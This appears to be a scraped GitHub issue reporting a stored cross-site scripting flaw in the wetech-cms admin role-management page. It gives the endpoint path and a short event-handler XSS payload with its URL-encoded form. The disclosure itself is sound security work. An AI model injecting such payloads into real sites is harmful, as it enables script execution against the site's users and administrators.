wetech-cms icon indicating copy to clipboard operation
wetech-cms copied to clipboard

Published 20 hours ago • verified publisher icon cjbi

The new user role management module has a stored XSS vulnerability

Open unafraid-fearless opened this issue 8 months ago • 0 comments

Interface location entry：http://{IP}:8081/wetech_web/admin/role/add.do，payload:<p/onMouseoVer=confirm7>4 ==> %3Cp%2FonMouseoVer%3Dconfirm%607%60%3E4 image

payload： image

unafraid-fearless avatar Jun 05 '24 04:06 unafraid-fearless